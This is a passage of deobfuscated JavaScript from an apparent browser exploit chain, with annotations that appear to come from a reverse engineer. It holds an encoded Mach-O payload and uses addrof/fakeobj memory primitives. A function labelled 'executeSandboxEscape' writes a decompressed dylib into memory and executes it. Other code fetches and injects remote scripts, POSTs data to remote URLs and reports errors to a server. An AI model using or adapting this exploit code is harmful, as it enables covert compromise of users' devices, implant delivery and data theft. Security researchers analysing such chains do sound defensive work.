ugDQPnoBwD5yLJCOagAMDbgB0D5N+r/l+AHAPnIskI5KAEwN8guQPkgBwARHwET64gDAFTJqkC5CAEJix8BE+sJAwBUvw4AcUABAFS/CgBxwAEAVL8GAHEhAgBUAACAUugHQPmIAgiLaAIA+Q0AABQAAIBS6AtAuYgCCAsIARNLCBEAUQQAABQAAIBS6AtAuYgCCAtoAgC5AgAAFAAAgFL9e0Wp9E9EqfZXQ6n4X0Kp+mdBqf+DAZHqAx6q/vMBsv8gA9Xr8wGyfwEe6/4DCqpBAABUwANf1uoDHqrh5f+X/4MD0fxvCKn6Zwmp+F8KqfZXC6n0Twyp/XsNqf1DA5H1AwKq8wMBqvQDAKohewAwHyAD1cL4/5cgAQA04XoAcB8gA9XgAxSqvfj/l+AAADR0AYBSNBKgcsAAABQ8GgAQHyAD1QMAABTcHQAQHyAD1TpfABAfIAPVSCdAqUovQalMN0KpHwEA8SQZQPpEGUD6ZBlA+oQZQPqkGUD6oRIAVHQBgFI0EqByaAJA+cB3ABAfIAPVAQKAUuoDCKqx5f+XwBQAtPYDAKpoBkD54XcAUB8gA9XqAwiqquX/l83p/5dAEwC0aAZA+YF3ADAfIAPV4AMWquoDCKqi5f+Xxen/l0ASALT4AwCqaAZA+eF2AFAfIAPV4AMWquoDCKqZ5f+XvOn/lyARALT5AwCqaAJA+YBxAHAfIAPVAQKAUuoDCKqQ5f+XIBAAtPcDAKpoBkD5QXUAUB8gA9XqAwiqieX/l6zp/5egDgC04BsA+WgGQPmhdAAQHyAD1eADF6rqAwiqgOX/l6Pp/5eADQC04BMA+WgGQPnBbwAQHyAD1eADF6rqAwiqd+X/l5rp/5dgDAC04A8A+WgKQPnhgwGR4AMYquoDCKpv5f+XgAsANPs3QPloE0C5KAsANPljAKn3CwD5GACAUneDAJHoAkC5H2UAccEAAFTgIgCRYVwAMB8gA9VP+P+XAAEANOgGQLn3AgiLGAcAEWgTQLkfAwhrY/7/VEUAABToQkC5CP//NBkAgNLoDkD5aAMIy+gnAPnoIgGR+6MDqfgvALkICoBS6SNA+SAnCJtBbgAQHyAD1Tj4/5cAAQA0OQcAkehCQLk/Awjr+x9A+fgvQLmD/v9U4///FwgKgFLpI0D5KScImyiNQvjpLwD5iP7/tAkAgNLqL0D5SiEA0eorAPk4AIBS66tEqUoBQPlqAQqLWwEJiwIBCcvgAxuqIWsAUB8gA9VD+P+XYAEANOkDGCroL0D5CAFA+R9BOOsYBwARKP7/VN7//xcUAIBSvAIA+RgAABT3C0D56B9A+agBALQUAIBS6QdA+egDQPlJIwCp6RtA+egTQPlJIwGp6A9A+UhvAqm8AgD5AgAAFPcLQPloDkD54AMXquoDCKoP5f+XaA5A+eADFqrqAwiqC+X/l+ADFKr9e02p9E9MqfZXS6n4X0qp+mdJqfxvSKn/gwOR6gMeqv7zAbL/IAPV6/MBsn8BHuv+AwqqQQAAVMADX9bqAx6q+eT/l//DANH0TwGp/XsCqf2DAJH/BwD5HyAD1WhFAFhoAQC08wMCquAjAJHhAwOq4gMEquoDCKrr5P+X4QdA+eADE6oyAACUAgAAFAAAgBL9e0Kp9E9Bqf/DAJHqAx6q/vMBsv8gA9Xr8wGyfwEe6/4DCqpBAABUwANf1uoDHqrZ5P+X/8MA0fRPAan9ewKp/YMAkf8DAPkfIAPVaEEAWKgBALTzAwKqqUMAkekHAPngAwCRokMAkeEDA6rqAwiqyeT/l+EDQPngAxOqEAAAlAIAABQAAIAS/XtCqfRPQan/wwCR6gMeqv7zAbL/IAPV6/MBsn8BHuv+AwqqQQAAVMADX9bqAx6qt+T/l/+DAdH6ZwGp+F8CqfZXA6n0TwSp/XsFqf1DAZGIPAAQHyAD1RhRQKkZ3UGpFRVA+R8DAPGEGkD6JBtA+uQaQPqkGkD6AhhHeigDAFTzAwGq9gMAqvojAJHgIwCRAQCAUgIBgFJg9/+X/yMAOShAgFLoHwB50wEAtOoDGaqX5P+XQkt2OPMDAPnhAxSq4wMVquoDGKqR5P+X4AMTquoDF6qO5P+XAACAUgIAABQAAIAS/XtFqfRPRKn2V0Op+F9CqfpnQan/gwGR6gMeqv7zAbL/IAPV6/MBsn8BHuv+AwqqQQAAVMADX9bqAx6qe+T/lwgAQPkIEUC5yAEANAokRakpAQrLCjRA+UqBAJFLAUC5f2UAcWEAAFRL8UA5CwIIN0sFQLlKAQuLCAUAcQH//1QAAIDS6gMeqv7zAbL/IAPV6/MBsn8BHuv+AwqqQQAAVMADX9bqAx6qYOT/l0gNQPkAAQmL6gMeqv7zAbL/IAPV6/MBsn8BHuv+AwqqQQAAVMADX9bqAx6qVOT/l/8DAdH2VwGp9E8Cqf17A6n9wwCR9AMEqugDA6rzAwKq/wcA+SkQQDnqAykqXwkfcsEAAFQqARwSKQxAeSsBGRJKAQsqqgEANQkkQPkpAQC0KgBAuTUBCosJLED5CqhAuSoBCou/AgnrQCFV+kgBAFQAAIBSGwAAFCgEQPkKMED5CAEKi2gCAPmpAhg2CAFAshIAABTjIwCR4AMVquEDCKriAxSqBACAUpb7/5foAwCqAACAUmgBADXoB0D5aAIA+eIjAJHgAxWq4QMUqkD+/5dgAAA16AdA+WgCAPkgAIBS/XtDqfRPQqn2V0Gp/wMBkeoDHqr+8wGy/yAD1evzAbJ/AR7r/gMKqkEAAFTAA1/W6gMeqg7k/5f4X7yp9lcBqfRPAqn9ewOp/cMAkTgAhFI4AKByFW9CEeADALTBAwC09wMCqoIDALT0AwOqQwMAtPMDAKoIAED54AMBqiEAgFLqAwiq+uP/l2ABALT2AwCqaAZA+eEDF6rqAwiq9OP/lxfo/5fAAAC0FQCAUoACAPkFAAAUFSsAEQcAABQ1AIRSNQCgcmgOQPngAxaq6gMIqufj/5fgAxWq/XtDqfRPQqn2V0Gp+F/EqOoDHqr+8wGy/yAD1evzAbJ/AR7r/gMKqkEAAFTAA1/W6gMeqtjj/5f2V72p9E8Bqf17Aqn9gwCRUxhA+XYSQPkoZ4JS3wII6+AAAFQIZ4JS3wII6yAEAFToZoJS3wII66EFAFR1FkD5dQUAtOADFarhAxOqAmaAUhH2/5e0mkH5CGeCUmgSAPkI/IdSoAIIi6F9mVLy4/+XYIYA+WgSQLmo/j+5qO4/uShnglLfAgjrYQIAVLaeQfkIBohSoQIIiwAAglLX4/+XoBYg+WgOQPkIARaLCwAAFGEWQPnBAQC04AMTqgJmgFL19f+XYIpA+cnn/5cAEACRBAAAFGgOQPloVgD54AMUqiGQjlK24/+XYIoA+f17Qqn0T0Gp9lfDqOoDHqr+8wGy/yAD1evzAbJ/AR7r/gMKqkEAAFTAA1/W6gMeqpDj/5f/wwHR/G8BqfpnAqn4XwOp9lcEqfRPBan9ewap/YMBkdMAkFIzAKBySBBAuegHADT2AwKq9wMBqvgDAKrjEwCpFQCA0hsAgNIcAIBSVIAAkZkfADAfIAPVWwAAtBUFALWIAkC5H2UAceEDAFSaIgCR4AMaquEDGapg9v+XHwAAcZsCm5oVAwC14AMaquEDGKpa9v+XYAAANBUAgNISAAAUiEJAuaj//zQTAIDSFQCA0poiAZHgAxqq4QMXqk/2/5cfAABxVQOVmnMGAJGIQkC5WkMBkX8CCOvj/v9U0wCQUjMAoHKIBkC5lAIIi5wHABHIEkC5nwMIawP7/1R7AQC0VQEAtBMAgFJoD0D5yAIIy6kqQqkIAQmL6QNA+SgBAPnoB0D5CgEA+eADE6r9e0ap9E9FqfZXRKn4X0Op+mdCqfxvQan/wwGR6gMeqv7zAbL/IAPV6/MBsn8BHuv+AwqqQQAAVMADX9bqAx6qNOP/l/xvuqn6ZwGp+F8CqfZXA6n0TwSp/XsFqf1DAZH/AwHR+wMFqvoDBKr1AwOq9gMCqvcDAar4AwCq8wMAkbQAkFI0AKBySAQAEekDAJEC8X3TSDwAkQh9fJI5AQjLPwMAkeADGaoBAIBS3PX/l7wCGouaBwDRXwMV6wMGAFS7TzipGwCA0ugDFiqogxf4FPF90wgLQPmhwwHR4AMaquoDCKoL4/+XIAMANLODWvh/AhvrwAIAVPYAADToAxSqKQMIiyqBX/gqAQD5CCEA8YH//1QzAwD5oANa+IAAALThAxeq6vX/lwACADSfAxPrYIJV+kgzk5p/AhrrSCOImn8CAPH7A5OaWgOImloHANFfAxXrAvz/VLODWPi0AJBSNACgcgYAABQUAIBSqKd3qSh7aPgoAQD5s4NY+H8CAJHgAxSqv0MB0f17Ran0T0Sp9ldDqfhfQqn6Z0Gp/G/GqOoDHqr+8wGy/yAD1evzAbJ/AR7r/gMKqkEAAFTAA1/W6gMeqtPi/5cfIAPVD/YXM+MKFHW0jsWbSLw1HgAAAAAAAAAA8J6wX2y3fYENFJx0TMe2RPCesF9st32BDRScdEzHtkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIIxAExUAACgAAAAUAACAKAAAAAAAAAAAABAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADoT3CyiCGY8gAAAABAAAAAFICyUgmAslIIgLJSZGxvcGVuAGRsYWRkcgBkbGNsb3NlAGRsZXJyb3IAX3Byb2Nlc3MAdGFza19pbmZvAHN5c19kY2FjaGVfZmx1c2gAc3lzX2ljYWNoZV9pbnZhbGlkYXRlAF9kbHN5bQAvdXNyL2xpYi9zeXN0ZW0vbGliZHlsZC5keWxpYgBfX1RFWFQAX19MSU5LRURJVABfX2R5bGRfZGxzeW1faW50ZXJuYWwAX19keWxkX2Rsc3ltAGRsc3ltAG1hY2hfZXZlbnRsaW5rX2NyZWF0ZQBkeWxkVmVyc2lvbk51bWJlcgBnZXRwaWQAcHJvY19waWRpbmZvAHZtX3JlZ2lvbl82NAB2bV9wcm90ZWN0AG1hY2hfbWFrZV9tZW1vcnlfZW50cnkAdm1fbWFwAHZtX2FsbG9jYXRlAGtldmVudF9pZABfX1BBR0VaRVJPAF9fREFUQQBfX2VoX2ZyYW1lAF9fdW53aW5kX2luZm8AX194AF9fc3R1YnMAX19hdXRoX3N0dWJzAF9fb2JqY19zdHVicwBfX2ludGVybmFsAEBycGF0aAAvdXNyL2xpYi9saWJvYmpjLkEuZHlsaWIAL3Vzci9saWIvc3lzdGVtL2xpYmNhY2hlLmR5bGliAGR5bGRfc3R1Yl9iaW5kZXIAX19vYmpjX2VtcHR5X3Z0YWJsZQBfb2JqY19yZWFkQ2xhc3NQYWlyAF9wdGhyZWFkX2NyZWF0ZQAvdXNyL2xpYi9zeXN0ZW0vbGlic3lzdGVtX3B0aHJlYWQuZHlsaWIAcHRocmVhZF9jcmVhdGUAL3Vzci9saWIvc3lzdGVtL2xpYnN5c3RlbV9jLmR5bGliAG1hbGxvYwBmcmVlAF9hc2xfdmxvZwBfYXNsX2xvZwAvdXNyL2xpYi9zeXN0ZW0vbGlic3lzdGVtX3RyYWNlLmR5bGliAF9vc19sb2dfYWN0dWFsAF9vc19sb2dfaW50ZXJuYWwAX29zX2xvZ19kZWZhdWx0AHZhc3ByaW50ZgBfTlNHZXRNYWNoRXhlY3V0ZUhlYWRlcgBfX29zbG9nc3RyaW5nACV7cHVibGljfXMAL1N5c3RlbS9MaWJyYXJ5L0ZyYW1ld29ya3MvSmF2YVNjcmlwdENvcmUuZnJhbWV3b3JrL0phdmFTY3JpcHRDb3JlAEpTRXZhbHVhdGVTY3JpcHQAc2lnYWN0aW9uAG9iamVjdF9nZXRDbGFzcwBfb2JqY19wYXRjaF9yb290X29mX2NsYXNzAF9vYmpjX21hcF9pbWFnZXMAX190ZXh0AF9fQVVUSF9DT05TVABfX2NvbnN0AF9fREFUQV9DT05TVABvYmpjX3JldGFpbkF1dG9yZWxlYXNlAF9vYmpjX2ZsdXNoX2NhY2hlcwAvdXNyL2xpYi9saWJTeXN0ZW0uZHlsaWIAX05TR2V0QXJnYwBfTlNHZXRBcmd2AF9OU0dldEVudmlyb24AX05TR2V0UHJvZ25hbWUAAAAA"); +} +const IA = 0, + wA = 1, + QA = 2, + BA = 3, + NA = 4, + EA = 5, + TA = 6, + UA = 7, + LA = 16777216 /* 1244951415 ^ 1261728631 */, + sA = 4, + kA = LA / 2 - 4, + FA = LA / 2, + SA = LA / 2; + +// ── Symbol/API resolver (YA) ───────────────────────────────────────────── +function YA() {/* Original: YA → resolveSymbols */ + const A = new Uint32Array(new ArrayBuffer(LA)), + g = new Uint8Array(A.buffer), + D = new Uint32Array(A.buffer), + M = platformModule.platformState.exploitPrimitive, + C = M.addrof(A), + I = M.readDoubleAsPointer(C + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.oGn3OG), + w = new utilityModule.Int64(utilityModule._(I), utilityModule.F(I)), + Q = M.addrof(A.buffer), + B = M.readDoubleAsPointer(Q + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.CN3rr_); + let N = M.read32(B + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.EMDU4o); + N += 32, M.write32(B + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.EMDU4o, N); + const E = { + CA: I, + IA: w, + start() { + setTimeout(E.wA, 1); + }, + BA: (A, g) => Math.floor(Math.random() * (g - A + 1)) + A, + NA() { + D[1] = 0, D[0] = BA; + }, + EA() { + D[1] = 0, D[0] = BA; + }, + TA(A, g, D, M) { + try { + let M = !1; + const C = new XMLHttpRequest(); + C.open("POST", A, !0), C.setRequestHeader("Content-Type", "application/json"), C.onreadystatechange = () => { + 4 === C.readyState && (M || (M = !0, D())); + }, C.send(g), setTimeout(function () { + M || (M = !0); + }, 10000 /* 893931597 ^ 893941597 */); + } catch (A) { + M(); + } + }, + download(A, g, M) { + //alert("Download " + A + "\n" + new Error().stack); + D[0] = QA, (async () => { + for (let D = 0; D < 20; D++) try { + const D = await new Promise(function (g, D) { + const M = new XMLHttpRequest(), + C = new URL(A), + I = Math.random().toString(36).slice(2, E.BA(5, 10)), + w = E.BA(0, 1); + C.searchParams.set(I, w), M.open("GET", C.toString(), !0), M.responseType = "arraybuffer", M.onload = () => { + const A = M.response; + A && 4 === M.readyState && 200 /* 1349605488 ^ 1349605560 */ === M.status ? g(A) : D(M.status); + }, M.send(null); + }); + if (void 0 !== D) return void g(D); + } catch (A) { } + M(); + })(); + }, + UA(A) { + try { + const g = new Blob([A], { + type: "application/javascript" + }), + D = URL.createObjectURL(g), + M = document.createElement("script"); + M.addEventListener("error", E.error, !0), E.LA.bind(E), window.qbrdr = (A) => { + E.LA(atob(A)); + }, document.body.appendChild(M), M.setAttribute("src", D); + } catch (A) { + E.error(); + } + }, + sA() { + const A = new URL(location.href), + g = "v" + new Date().getTime(); + A.searchParams.set(g, "0"), window.history.replaceState(null, null, A); + const M = () => E.BA(111 /* 761805156 ^ 761805067 */, 999 /* 1919249010 ^ 1919248789 */), + C = document.createElement("div"); + C.setAttribute("style", "opacity: 0.0"), C.innerHTML = M() + "-" + M() + "-" + M(), document.body.appendChild(C), setTimeout(() => { + const A = new URL(location.href); + A.searchParams.delete(g), window.history.replaceState(null, null, A), document.body.removeChild(C); + }, 10000 /* 959736401 ^ 959728961 */), D[0] = IA; + }, + wA() { + if (D[0] === wA) { + D[0] = QA; + const A = new Uint8Array(g.buffer, sA, kA); + let M = ""; + for (let g = 0; A[g] && g < A.length; g++) M += String.fromCharCode(A[g]); + M += ".js", M.endsWith(".min.js.js") && (M = M.replace(new RegExp(".min.js.js$"), ".js")), E.download(M, E.UA, E.error); + } else if (D[0] === UA) { + D[0] = QA; + const A = new Uint8Array(g.buffer, sA, kA); + let M = ""; + for (let g = 0; A[g] && g < A.length; g++) M += String.fromCharCode(A[g]); + const C = new Uint8Array(g.buffer, FA, SA); + let I = ""; + for (let A = 0; C[A] && A < C.length; A++) I += String.fromCharCode(C[A]); + E.TA(M, I, E.NA, E.EA); + } else D[0] === TA && E.sA(); + D[0] !== EA && setTimeout(E.wA, 1); + }, + LA(A) { + const M = A; + if (M.length > g.length - 8) E.error(); else { + for (let A = 0; A < M.length; A++) g[A + 8] = M.charCodeAt(A); + D[1] = M.length, D[0] = BA; + } + }, + error() { + D[0] = NA, + function (A) { + const g = platformModule.platformState.fixedMachOVal3; + if ("" !== g) { + const D = utilityModule.resolveUrl(g); + if (D) { + const g = new XMLHttpRequest(), + M = D + "?e=" + A; + g.open("GET", M, !0), g.send(); + } + } + }(DA); + } + }; + return E; +} + +// ── executeSandboxEscape (yA) — main sandbox escape entry ──────────────── +function executeSandboxEscape() {/* Original: yA → executeSandboxEscape */ + const A = YA(); + let g; + if (platformModule.On()) throw new Error("platformModule.On()"); + return g = (() => { + //alert("P.platformState.fixedMachOVal2=" + P.platformState.fixedMachOVal2); + const g = new MachOPayloadBuilder(platformModule.platformState.fixedMachOVal1, platformModule.platformState.fixedMachOVal2, platformModule.platformState.fixedMachOVal3); + let dylibSize = (g.length() + 0x1000 & 0xfffff000) >>> 0; + const dylibSizeWithSomeExtraSize = dylibSize + 0x200000, + dylibLoadAddress = platformModule.platformState.sandboxEscape.newInt64OfSomething(dylibSizeWithSomeExtraSize).toPointerValue(); + g.kA = Offset64.fromUnsigned(A.CA), g.FA(Offset64.fromUnsigned(dylibLoadAddress)); + const dylibLoadAddressO64 = Offset64.fromUnsigned(dylibLoadAddress); + let dylibBufferEncoded = g.SA(dylibLoadAddressO64); + for (; dylibBufferEncoded.length % 4 != 0;) dylibBufferEncoded += "\0"; + dylibSize = 2 * dylibBufferEncoded.length; + const dylibBuffer = window.PhZuiP = new Uint32Array(new ArrayBuffer(dylibSize)); + for (let i = 0; i < dylibSize; i += 4) dylibBuffer[i / 4] = utilityModule.readU16FromString(dylibBufferEncoded, i) >>> 0; + window.addDownloadBinary("lzwDecoded.dylib", new Uint32Array(dylibBuffer.slice(0))); + const dylibLoadAddressI64 = utilityModule.Int64.fromNumber(dylibLoadAddress), + dylibDataAddressMaybe = utilityModule.Int64.fromNumber(platformModule.platformState.exploitPrimitive.fakeobj(dylibBuffer)); + window.log("dylib load address: 0x" + dylibLoadAddress.toString(16)); + window.log("data address?: 0x" + dylibDataAddressMaybe.toNumber().toString(16)); + window.log("D: 0x" + dylibSize); + platformModule.platformState.sandboxEscape.Ad(dylibLoadAddressI64, dylibDataAddressMaybe, dylibSize); + const T = g.YA().ct() + 4; + //alert("D 0x" + T.toString(16)); + return platformModule.platformState.caller.jd(utilityModule.Int64.fromNumber(T)).Pt(); + })(), A.start(), g; +}; const yA = executeSandboxEscape; +// ── MachOPayloadBuilder (oA) — builds Mach-O payload in memory ─────────── +class MachOPayloadBuilder {/* Original: oA → MachOPayloadBuilder */ + constructor(fixedValue1, fixedValue2, fixedValue3) { + //alert("CALLED"); + const M = new Offset64(0, 0); + this.yA = CA(M, M, M, M, 0, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M); + this.oA = gA.lzwDecompress( + gA.base64DecodeUtf16("zwD6AO0A/gAMAAAAAAABAAUBBQEGAAgBFQAIARAACgAFAYUAAAAQAAgBBQEZAAgBaAADAAUBXwBfAFQARQBYAFQAFAEhASIBFAHAACMBJgElASEBBQAIASoBBQEPASIBGwF0AGUAeAB0ACYBGgEcAR4BIAE1AewAXAAiAbwAUwAiATsBBQECADUBCAEEAAAAgABEATYBeABJATYBHQEfAUQBqACwACIB2AAHASEBUQFCAUwBRgFIAUkBGwFzAHQAdQBiAHMANQEbAU4BOQEmAYAAsgAiAUQARgEhAWgBWAFEAQgAWgEUAQQBLwFfAF4BYAFfAGgAZQBsAHAAZQByAAgBZAE4AUQBxAC2ACIBXABsARQBhAFvAUQBcgFcAV8AbwBiAGoAYwB2AV8BYQEUAYEBTwE1ASAAuwAiAUAAIwGbAQUBLAGMAUcBTAEbAWMAbwBuAF4BYwE3AZkBJgFgAJwBIQEwACMBrwEFAYgBTAGlAV8AYwBeAXIAaQBuAGcAIwGYAWYBIwGQALABiQFDASEBxAG3AQAAxwG3ARsBkAGSAV8AbQBlAHQAaABuAGEA0gEAAMEBRAFUAL4AIgE+ACMB3AEFAVUBNQHMAbgBdQBuAHcAvQFkAF8AvQFmAG8AgAGsAcIBIgGUAN0BIQEYAOMBCAH0AYsBygFEARsBZQBoAF8AZgByANcBZQB1AWUBRAGwAL8AIgE0ACMBCQIFARkB/AFJARYBBQE4AFUBGwFEAEEAVABBAF8AQwBPAE4AUwDyASgBIQGeASIBIgIUASQCFAEQAgAAKgIqAhMBNgFnAG8ANAH9AV8AGAIaAhwCHgIgAiEBJgIFAZAAJwEPAkkBCgEFAVsAjgGnAakBMgLAATQCGQIbAh0CHwLCAZAAOwIAALIBIgFPAj8CEQIzAs8BkwFpAG0AYQBnAGUA7QFvABcCSgI3Ak0CJAFQAggAIwHAACgB5QFWAiIBEwIAAFQBNgE1AkEATAH4AQUBKAIhAXUCAAB3AlUCKwIrAUgCbABhAHYBeQBtAGIAbwBsAF8AcAB0AH8BYQIaAnQCIQHYAGsCCAEHASoCJgEHAAgBbQCOAVgCdgF7AXIAZQBmAGIB2QFJAo0CNQGQAnUCLgKPAgIAkwJJASwBpwKrAZoCYwCAAnMAcwCdAp8CjAJzAjUB6ACpAiEBZwIiAbkCqgK3Aa0CJgEbAb0BMQFyANYBbAB1AXICRAHwALoCTAHMAnkCbAIhARsBZABhAHQAYQAzAsoCNQHPArsCIwHbApQC0QIUAW4CSADwAUwASQBOAEsARQBEAEkA8gF2AnUC8AAcACMBQADuAvACeAKSAkkBDQAIASAACAEYAPYCFAHjAQcBeAAwADEAIQEiAAUBgABSAu0CEgENAfICEgGRAhQBIABCAAcBYAC8AoAASgAHAfwCiwEYAxIBSwAHAXAACAEwAFUABwHAAJYCAAALAAgBUAAjAf8C/QLLAQgBbgDgAiMBEABSAAcByADRAhsA+wIIAUEA0wCeACAABACjADUA9ACsABMA9gBpASYAAwCGADIA+QIIAWsC+AIFAfgC4wGUAgEANAADACoADQFJASwANwMIASgCWwEmAXQBAAA4AFgDLAP+AvYCLwB1ALMCLwBsAGkAYgBnA2kDpwFtAHAAnQKyAmkAqAEuAGQAeQBoA2IACAFdA18DBQEaA2sC5ABjA2UDcgBrA2oDdwNYAi4AQQB0A3YDaQNcAycDYANrAkEAGAMHAS8AUwB5AF4BZQBtAC8ATABpAwMCcgB5AC8ARgADAtIBdwBvAHIAawBzAC8AVQBJAEsAaQB0AC4AAgIEAqMDpQOoA6oDrAOMAwUBYACOAxQB/wChACQDlgAAAJMDlQMxAZgDmgNiAJwDngOgA7ADpAOmAy8AQwCkA2UARgBvAOcB1AJ0AHIDbgCuA6EDZQCxA2sAzAPOA9AD0gPVAtUDIgFdA2gAuQMPAjwA2QBsAZIDlAOWA8MDmwNhAJ0DnwPYA9oDpwPrA8IDzQNuAGYAaQBnAHUAAwLUA3MDrwOiA8oDwAPsA/cD+QP7A/0D4QN5AwgBWADlAwAAZwJ6ACwB6gPBA5cDmQPuA/ADyAMBBKUDpwNDAEYATgDTAdoD1wPJA7IDHAQeBHQA2gO2A14DDQQFAScAEQS/A4EDgwODA/UDlwMuAEIAiQN3AyIBJgBVAwUBmAAWAwAASwEFASkAOgQbA9ACLwNFBEYERwRIBEkESgRLBEwETQROBE8EUARRBFIEUwRUBFUEVgRXBFgEWQRaBFsEXARdBF4EXwRgBGEEYgRjBGQEZQRmBGcEaARpBGoEawRsBG0EbgRvBHAEcQRyBHMEdAR1BHYEdwR4BHkEegR7BHwEfQR+BH8EgASBBIIEgwSEBIUEhgSHBIgEiQSKBIsEjASNBI4EjwSQBJEEkgSTBJQElQSWBJcEmASZBJoEmwScBJ0EngSfBKAEoQSiBKMEpASlBKYEpwSoBKkEqgSrBKwErQSuBK8EsASxBLIEswS0BLUEtgS3BLgEuQS6BLsEvAS9BL4EvwTABMEEwgTDBMQExQTGBMcEyATJBMoEywTMBM0EzgTPBNAE0QTSBNME1ATVBNYE1wTYBNkE2gTbBNwE3QTeBN8E4AThBOIE4wTkBOUE5gTnBOgE6QTqBOsE7ATtBO4E7wTwBPEE8gTzBPQE9QT2BPcE+AT5BPoE+wT8BP0EcgT9AHsAvwCpAP0AGQGRALMAlgKUAB8ABQFxAOAABwCfABoAAAXBAKgA6gADAB4AqgD+APMAAQCyAP8AIAADANUA6wAZBbIAfwABAB4A6wD+AAMACgCqALcCVADAAAMAXwDWABQFFgX1ABQAAACUAAAFAgUnBQAAqgAcBR4F4AAVBaoAEQUTBT8FGAUaBTwFHwUhBSMFJQUnBSkFKwUtBS8FMQWqAOYANAWUAPQATwC+AAMFewABAAMFQwAAAJEA9AADAAEAqgDzABkBqgCRAAgFoAAFATQAPgUTAKoA4QADABQAqgCFAAgFYwU6BWsFQAV7AEEAqQBVBcIAQgUWBUQFGwUdBUcFGgVJBSYFKAUqBQUBLAUuBTAFPwXOAFMF+gBnALsAqQD4AF8AWgX2AFcAAgB6BU8AAwBYBQQAAwVgBZEAgQAFAbQAYwUCAKoAXwVhBYIABQE1ABMAkABAALkAUwBDATQAFABEAEAA+QAXAEcBUgC4AAAAoABSAOgAAwBsBRkAQQBBAHEAFQAxAJgAGgCWAEIANwCLAD4FFgBtBQMAFQCqAAkAFgA1Bc0FzwXRBdMFNQX3AEIAQQARAL4FGQCqAH8AAgAXAGsAiAD+AP8AVAAABUQAmQVDAKkAlgVCAJIFXwB5BY8FxQB9BRcFIQVGBSAFgwUkBYUFTAWIBU4FiwUWBaIAUwVVBVcFAAVaBf0AXAWRAHQF0gW0BfkACACtBbkACgCcALUFKQABAAgAiwArABEAAADRAJQFAADxAGoAAQCKAJoASwD9AN8AiAAjBQAAcQDsABcADwVtAAEAAQALAKwACQAMAAsAnwAXBmsASABGAVQATQD9AF8AiAC/ADEGawChBQAAVABMAP0ADQCIAI0A/wD/ADUAEAIUAF8APwAeBfIATAYXACAAQQAsAMsAYAA5BPkAYQBSAAAAuQAhAHwAQACSAF8ADAGUAGgAkgC1BTQDAAC0AGEAJgC1BWIAUgCuBXYFFAUIAKoAfABTBQYDUgAABXkFewX2BX8F+QVIBfwFSwWHBUUGAAZQBW8AUwW4A5gAUgDzAFUGCQBQAK4FPwAwBusAeANFBmcCgADSAEECFAAIACQAtQUKADAGiwAKACQAAAD5ABYGAQBLAJEGYAY+BXcGUAWBBoEF+gUiBYQGhgVNBYoFUAVYAFMFMAZtBuIAogU3BZ4FXQU+BWEFbgWlBS0AZwZBBXsGrwb4BbEGgwZKBbUG/wW3Bj8FRQBTBf8AwwACANEAkwUHAO4FVwAIAJkFCQBYBQoAAwWDAAIAXgUDAAMAqgD1AGAFYgVkBf8AEwCmBqgAuAXoAH8AAwApAOAABwG0AGgArgBXADkAqAAHATQAaAD6AEIA+QBoAPcGQQSaAFIASQABAKAAcgAhAH0AQAARAMkAgQCJAFIAiQBhAK4AcgAjABEAHAAyAHYFQwGaBnYGqgAqAFMFaAAiALUF4gCDAF0F4wBiAZEAdgVuBdEFIAcjAFMFLQUAADQA6QY6BfkG+wYEBzQHAAcCBygA9wYRBxMHFQcXByMAnQAHABEALQfQBaoAHgfSACAHFQBTBT4F0QUABUoAmQVJANsGSADxBUcAqQDVBuQGygZFBcwG+wXOBv4FhwbRBhYFBQBTBeEAEwC1BYEAQwG0AOIAHwCuBV8ABAFxACkAQwFUAGAATgC1BSQCtAAhAO4GlADgACgHkQDhACsHxwBnAmgG+gY5AMAAsQU2B6oASAD8AP8A/wYBBw8Gjge0AEAHFAcWBxgHNQBGB9cAVQY1AAAABwchAwsHOAc5AAgA+wCPBzwH+QDIAPoA/wCUBxIHlgdDB30ARgd2BSEAngdSAEEACgdyAMwAVQaIAP4GpwdIAD8HrQdCBxgHJQCxB78FhwWNBoEAtwdLByAH1wB9B/8AJgP5AP8ADwBgBmgAdgAmB2kH+QDjAG8HuQAtB7sFUgAgB84AfQcMAzUHZAWiB8gA9gCmB5EHiADnB6wHQQeXByMA5QAGABEAqwBVBuIACgbjADMAwQbFB+EA3QeGABMBlADiB4sHogfoAPQA6AcCB6gABAjsB64HGAexAAAAEQCcAFUG1wCtB5cAlwfoAAsAtQVoADYApgboAA8ArgVoAH8BuQCiBzoHkAc9B/cGSQAAAI0GiQC3ByEABwEyAOMAQgANCB0HRwFMBwMAdwajAH0HaAAKADkHqgVoAA4A+waIAJYC/wamADoIOweiAD4IRgE0ACgAuAVoABIAFwA5ACEIvAeRBz4HbQYmCCgIKggJAA0I4wBiAAMARwfFB8oHNAiqAI0ANwh+ALUFdgUwBrwFIAeIAH0HiwcgAAcBNQBoAIYAtQWiAOMAHAZlCAoH3gdfCIAAaghkBcAACgH/BocHCADtAAUIqAfsAKsH4wBWAFsIXwBVBvAGgABSAKgAQwAcALgA/wB/AAUAWgdjAGAGvwCDABwA+AAfAIEFiADpAAIADAQBAK4F9QcBAJEAowDzABwGIQACAIwIyQBTBYAAQAgMAQEAMgCiB4gA6gCCCEgAtgi0AOMAigBbCEsAVQacCB4FqADnAKAIBgGjCEMApQjjAJYIkQCqCIwIugBPBwoBNQD2ACsAtQW2AAoBtADIABYAtQUIAPkAfwDyABMDRQbACNUAiQDmAKAIFga1BZQGCADqAMAAHgBFBqIHSADsCCMIDwbsCLoIngABABEA1QAAAIoAUgB2BcEA+QhSADIAVQa1AIMAXAD4APUAKgH4BmoGqAeiBaEALgBxCKoAdAbFByAHQAA3CB4AcQa8AAIAEADhCKMAcwjRAEgHLwdfCDgAegg6BYAADwF+CPsGCADkAIIIyADjAIUIMgBbCBcAVQboANMIDwYZAbQACQAVALUFNgDcCPIAoAD4AlQAyAACALUFqACZCPgAaAAMAbUAnQeCAFIAvQBVBu4IUAgCBwgA9wb1AP4I3Af6CEsHwwCtB4MAlwcFAFUGU